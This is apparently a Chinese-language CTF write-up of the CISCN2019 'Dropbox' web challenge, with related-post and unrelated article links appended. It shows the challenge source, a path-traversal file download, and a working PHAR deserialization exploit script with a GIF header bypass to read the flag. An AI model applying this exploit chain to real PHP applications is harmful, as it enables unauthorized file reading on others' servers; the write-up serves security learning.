一、【CISCN2019 华北赛区 Day1 Web1】Dropbox 1

  • 看题

    首先是需要注册登录,然后进入是一个文件上传和下载的页面。尝试php一句话木马和burp抓包修改后缀的木马都失败,看来是过滤了。这时候对下载文件进行抓包:

    尝试修改一下filename能不能抓到Index.php的包,这里尝试时候发现需要进入上上级目录,即../../index.php,同理查看一下download.php和delete.php。

  • 审计

    index.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
    }
    ?> <!DOCTYPE html>
    <html> <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <title>网盘管理</title> <head>
    <link href="static/css/bootstrap.min.css" rel="stylesheet">
    <link href="static/css/panel.css" rel="stylesheet">
    <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    <script src="static/js/panel.js"></script>
    </head> <body>
    <nav aria-label="breadcrumb">
    <ol class="breadcrumb">
    <li class="breadcrumb-item active">管理面板</li>
    <li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
    <li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
    </ol>
    </nav>
    <input type="file" id="fileInput" class="hidden">
    <div class="top" id="toast-container"></div> <?php
    include "class.php"; $a = new FileList($_SESSION['sandbox']);
    $a->Name();
    $a->Size();
    ?>

    login.php:

    <?php
    session_start();
    if (isset($_SESSION['login'])) {
    header("Location: index.php");
    die();
    }
    ?> <!doctype html> <head>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
    <meta name="description" content="">
    <title>登录</title> <!-- Bootstrap core CSS -->
    <link href="static/css/bootstrap.min.css" rel="stylesheet"> <style>
    .bd-placeholder-img {
    font-size: 1.125rem;
    text-anchor: middle;
    } @media (min-width: 768px) {
    .bd-placeholder-img-lg {
    font-size: 3.5rem;
    }
    }
    </style>
    <!-- Custom styles for this template -->
    <link href="static/css/std.css" rel="stylesheet">
    </head> <body class="text-center">
    <form class="form-signin" action="login.php" method="POST">
    <h1 class="h3 mb-3 font-weight-normal">登录</h1>
    <label for="username" class="sr-only">Username</label>
    <input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
    <label for="password" class="sr-only">Password</label>
    <input type="password" name="password" class="form-control" placeholder="Password" required>
    <button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
    <p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
    <p class="text-muted">&copy; 2018-2019</p>
    </form>
    <div class="top" id="toast-container"></div>
    </body> <script src="static/js/jquery.min.js"></script>
    <script src="static/js/bootstrap.bundle.min.js"></script>
    <script src="static/js/toast.js"></script>
    </html> <?php
    include "class.php"; if (isset($_GET['register'])) {
    echo "<script>toast('注册成功', 'info');</script>";
    } if (isset($_POST["username"]) && isset($_POST["password"])) {
    $u = new User();
    $username = (string) $_POST["username"];
    $password = (string) $_POST["password"];
    if (strlen($username) < 20 && $u->verify_user($username, $password)) {
    $_SESSION['login'] = true;
    $_SESSION['username'] = htmlentities($username);
    $sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
    if (!is_dir($sandbox)) {
    mkdir($sandbox);
    }
    $_SESSION['sandbox'] = $sandbox;
    echo("<script>window.location.href='index.php';</script>");
    die();
    }
    echo "<script>toast('账号或密码错误', 'warning');</script>";
    }
    ?>

    主要实现注册和登录的功能,为用户创建一个用户名+'sftUahRiTz'的文件夹。文件夹名称存储在$session['sandbox']中。

    download.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
    } if (!isset($_POST['filename'])) {
    die();
    } include "class.php";
    ini_set("open_basedir", getcwd() . ":/etc:/tmp"); chdir($_SESSION['sandbox']);
    $file = new File();
    $filename = (string) $_POST['filename'];
    if (strlen($filename) < 40 && $file->open($filename) && stristr($filename, "flag") === false) {
    Header("Content-type: application/octet-stream");
    Header("Content-Disposition: attachment; filename=" . basename($filename));
    echo $file->close();
    } else {
    echo "File not exist";
    }
    ?>

    ini_set("open_basedir", getcwd() . ":/etc:/tmp"): ini_set用于设置php.ini的值,其中'open_basedir'参数用于限定php脚本访问的目录,getcwd()函数是获取当前工作目录,总的来说就是限定脚本只能访问当前目录和/etc、/tmp目录。

    chdir($_SESSION['sandbox']):用于改变当前的工作目录为用户文件夹。

    然后下面对flag字段进行了过滤。

    delete.php:

    <?php
    session_start();
    if (!isset($_SESSION['login'])) {
    header("Location: login.php");
    die();
    } if (!isset($_POST['filename'])) {
    die();
    } include "class.php"; chdir($_SESSION['sandbox']);
    $file = new File();
    $filename = (string) $_POST['filename'];
    if (strlen($filename) < 40 && $file->open($filename)) {
    $file->detele();
    Header("Content-type: application/json");
    $response = array("success" => true, "error" => "");
    echo json_encode($response);
    } else {
    Header("Content-type: application/json");
    $response = array("success" => false, "error" => "File not exist");
    echo json_encode($response);
    }
    ?>

    文件包含的class.php:

    <?php
    error_reporting(0);
    $dbaddr = "127.0.0.1";
    $dbuser = "root";
    $dbpass = "root";
    $dbname = "dropbox";
    $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname); class User {
    public $db; public function __construct() {
    global $db;
    $this->db = $db;
    } public function user_exist($username) {
    $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $stmt->store_result();
    $count = $stmt->num_rows;
    if ($count === 0) {
    return false;
    }
    return true;
    } public function add_user($username, $password) {
    if ($this->user_exist($username)) {
    return false;
    }
    $password = sha1($password . "SiAchGHmFx");
    $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
    $stmt->bind_param("ss", $username, $password);
    $stmt->execute();
    return true;
    } public function verify_user($username, $password) {
    if (!$this->user_exist($username)) {
    return false;
    }
    $password = sha1($password . "SiAchGHmFx");
    $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
    $stmt->bind_param("s", $username);
    $stmt->execute();
    $stmt->bind_result($expect);
    $stmt->fetch();
    if (isset($expect) && $expect === $password) {
    return true;
    }
    return false;
    } public function __destruct() {
    $this->db->close();
    }
    } class FileList {
    private $files;
    private $results;
    private $funcs; public function __construct($path) {
    $this->files = array();
    $this->results = array();
    $this->funcs = array();
    $filenames = scandir($path); $key = array_search(".", $filenames);
    unset($filenames[$key]);
    $key = array_search("..", $filenames);
    unset($filenames[$key]); foreach ($filenames as $filename) {
    $file = new File();
    $file->open($path . $filename);
    array_push($this->files, $file);
    $this->results[$file->name()] = array();
    }
    } public function __call($func, $args) {
    array_push($this->funcs, $func);
    foreach ($this->files as $file) {
    $this->results[$file->name()][$func] = $file->$func();
    }
    } public function __destruct() {
    $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
    $table .= '<thead><tr>';
    foreach ($this->funcs as $func) {
    $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
    }
    $table .= '<th scope="col" class="text-center">Opt</th>';
    $table .= '</thead><tbody>';
    foreach ($this->results as $filename => $result) {
    $table .= '<tr>';
    foreach ($result as $func => $value) {
    $table .= '<td class="text-center">' . htmlentities($value) . '</td>';
    }
    $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
    $table .= '</tr>';
    }
    echo $table;
    }
    } class File {
    public $filename; public function open($filename) {
    $this->filename = $filename;
    if (file_exists($filename) && !is_dir($filename)) {
    return true;
    } else {
    return false;
    }
    } public function name() {
    return basename($this->filename);
    } public function size() {
    $size = filesize($this->filename);
    $units = array(' B', ' KB', ' MB', ' GB', ' TB');
    for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
    return round($size, 2).$units[$i];
    } public function detele() {
    unlink($this->filename);
    } public function close() {
    return file_get_contents($this->filename);
    }
    }
    ?>

    很明显应该关注class.php,可以看到其中调用了一些魔术方法,其中__call函数最特殊。

    __call函数是定义在php类中的魔术方法,其执行必须要两个参数,当调用该类中不存在的方法时,__call函数就会被执行。__call($name,$args)。其中name是调用的类中不存在方法的名称,arg是不存在方法中的参数。

    在class.php的__call函数中,主要将调用的方法存储到funcs数组中,然后遍历files,让files中的每个元素都执行func函数,返回的结果存储在result数组中。

    同时,可以看到File类中的close方法存在file_get_contents函数,我们可以利用这个函数对flag进行访问(因为download.php中对flag字段进行了过滤,说明flag应该就存储在flag.txt、flag.php等文件中。)

    怎么调用close函数呢,在User类的析构函数中存在close方法。

    思路:首先是创建User类中的db变量,将该变量是一个Filelist对象,同时在Filelist类中,将file属性的文件名设置为flag.php。这样在db变量析构的时候就能够访问flag.php。

    但是怎样执行这个函数呢,因为反序列化的时候魔术函数会被自动执行,这里没有unserilize()函数;因此可以使用phar协议。

    • PHAR

      是一个流包装协议,用于将php文件压缩,其中存储了被压缩文件的权限和属性信息,并且以序列化的形式存储用户的meta-data。文件格式为<?php xxx;__HALT_COMPILER();?>,必须以__HALT_COMPILER()来结尾。因此本题只要生成一个phar格式的文件进行上传,然后使用phar://协议对其进行解析,就会执行我们的payload。

      注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。并且一般的php.ini的readonly前面有分号,代表禁用,要删掉。

    • payload

      <?php
      class User{
      public $db;
      }
      class FileList{
      private $files= array();
      public function __construct() {//如果直接使用$files=new File()会失败,貌似必须用__construct方法
      $file = new File();
      array_push($this->files, $file);
      }
      }
      class File{
      public $filename='/flag.txt';
      } //创建phar文件常见姿势
      $phar=new Phar('phar.phar');
      $phar->startBuffering();
      $phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头,绕过文件检测(因为php的识别是根据文件头的stub)
      $phar->addFromString('test.txt','test'); //添加要压缩的文件
      $obj= new User();
      $obj->db=new FileList();
      $phar->setMetadata($obj); //将自定义的metadata存入manifest
      $phar->stopBuffering();
      ?>
    • 利用

      运行payload会在当前目录下生成phar.phar文件,可以看到里面是序列化数据和gif文件头:

      下面更改后缀为phar.jpg进行上传,因为download.php中对访问目录进行了限制,所以使用delete.php:

    总结

    • Phar利用方式,可以在不使用serilize函数的情况下进行反序列化利用
    • 多抓包尝试利用已有的函数进行下载
    • 疑问:
      • 为什么不能payload直接使用FileList方法直接调用close函数
      • FileList中的construct问题

【CISCN2019 华北赛区 Day1 Web1】Dropbox 1的更多相关文章

  1. 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web1]Dropbox 一.涉及知识点 1.任意文件下载 2.PHAR反序列化RCE 二.解题方法 刷题记录:[CISCN2019 华北赛区 ...

  2. PHAR伪协议&&[CISCN2019 华北赛区 Day1 Web1]Dropbox

    PHAR:// PHP文件操作允许使用各种URL协议去访问文件路径:如data://,php://,等等 include('php://filter/read=convert.base64-encod ...

  3. [CISCN2019 华北赛区 Day1 Web1]Dropbox

    0x01 前言 通常我们在利用反序列化漏洞的时候,只能将序列化后的字符串传入unserialize(),随着代码安全性越来越高,利用难度也越来越大.但在不久前的Black Hat上,安全研究员Sam ...

  4. BUUCTF | [CISCN2019 华北赛区 Day1 Web1]Dropbox

    步骤: 1.运行这个: <?php class User { public $db; } class File { public $filename; } class FileList { pr ...

  5. 关于phar反序列化——BUUCTF-[CISCN2019 华北赛区 Day1 Web1]Dropbox

    太难了QAQ 先看看phar是啥https://blog.csdn.net/u011474028/article/details/54973571 简单的说,phar就是php的压缩文件,它可以把多个 ...

  6. [CISCN2019 华北赛区 Day1 Web1]Dropbox-phar文件能够上传到服务器端实现任意文件读取

    0x00知识点 phar是什么: 我们先来了解一下流包装 大多数PHP文件操作允许使用各种URL协议去访问文件路径:如data://,zlib://或php://.例如常见的 include('php ...

  7. 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web5]CyberPunk 一.知识点 1.伪协议文件读取 2.报错注入 刷题记录:[CISCN2019 华北赛区 Day1 Web5]Cy ...

  8. 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun

    目录 刷题记录:[CISCN2019 华北赛区 Day1 Web2]ikun 一.涉及知识点 1.薅羊毛逻辑漏洞 2.jwt-cookies伪造 Python反序列化 二.解题方法 刷题记录:[CIS ...

  9. 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World

    目录 刷题记录:[CISCN2019 华北赛区 Day2 Web1]Hack World 一.前言 二.正文 1.解题过程 2.解题方法 刷题记录:[CISCN2019 华北赛区 Day2 Web1] ...

  10. BUUCTF | [CISCN2019 华北赛区 Day2 Web1]Hack World

    id=0 id=1 id=2 id=3 发现结果不一样,尝试 : ">4","=4","<4" : 在自己的环境下验证一下: 爆 ...

随机推荐

  1. 写博文之必备技能MarkDown

    前言 Markdown是一种轻量级标记语言,排版语法简洁,让人们更多地关注内容本身而非排版.它使用易读易写的纯文本格式编写文档,可与HTML混编,可导出 HTML.PDF 以及本身的 .md 格式的文 ...

  2. 基于FFMPEG+SDL的简单的视频播放器分析

    基于FFMPEG+SDL的简单的视频播放器分析 前言 最近看了雷霄骅前辈的博客<最简单的基于FFMPEG+SDL的视频播放器 ver2 (采用SDL2.0)>,参照他的代码,在window ...

  3. 2 opencv-python核心库模块core

    core模块定义了opencv中的基础数据结构和基础运算,是整个库的核心模块.而mat数据结构是opencv中最重要的数据结构,是opencv中图像最常用的存储格式. 1 基本数据结构 opencv的 ...

  4. 使用 OpenAPI 构建 RESTful API 文档

    作为一名开发者,往往需要编写程序的 API 文档,尤其是 Web 后端开发者,在跟前端对接 HTTP 接口的时候,一个好的 API 文档能够大大提高协作效率,降低沟通成本,本文就来聊聊如何使用 Ope ...

  5. 代码发布平台jenkins中Check-out Strategy选项功能意义

    第一个选项:Use'svn update' as much as possible  这个选项能实现快速发布:Use 'svn update' whenever possible, making th ...

  6. 云储存选择做Hexo博客图床(腾讯云、七牛云、网易云)

    前言 博客里需要添加很多图片作为内容的补充,但是把图片放在本地博客文件夹里,上传到网上后,加载这些图片就是一个很大的问题,他们会拖累网页加载的速度,所以建议把图片放图床里,通过外链来访问和加载这些图片 ...

  7. day-3 路由底层源码

    1. 定义路由本质 比如在url.py定义以下路由,浏览器中输入http://192.168.0.1:8000/user/2003-04-21可以访问 意味着此url http://192.168.0 ...

  8. PWM点灯

    目录 PWM脉冲宽调点灯 前言 1.什么是PWM 2.PWM的实现 3.PWM实现步骤(通用定时器) 3.1 打开定时器的时钟 3.2 配置端口 3.3 设置定时器 3.4 设置PWM 3.5 完整代 ...

  9. MAUI Blazor 显示本地图片的新思路

    前言 好久没写文章了,水一篇 关于MAUI Blazor 显示本地图片这个问题,有大佬发过了. 就是 token 大佬的那篇 Blazor Hybrid (Blazor混合开发)更好的读取本地图片 主 ...

  10. Django message组件

    使用message组件要在seetings中配置 ①INSTALLED_APPS   (项目需要什么功能都放在这 既可以有数据库,又可以写代码,html文件,和自己写的APP一个道理) ②MIDDLE ...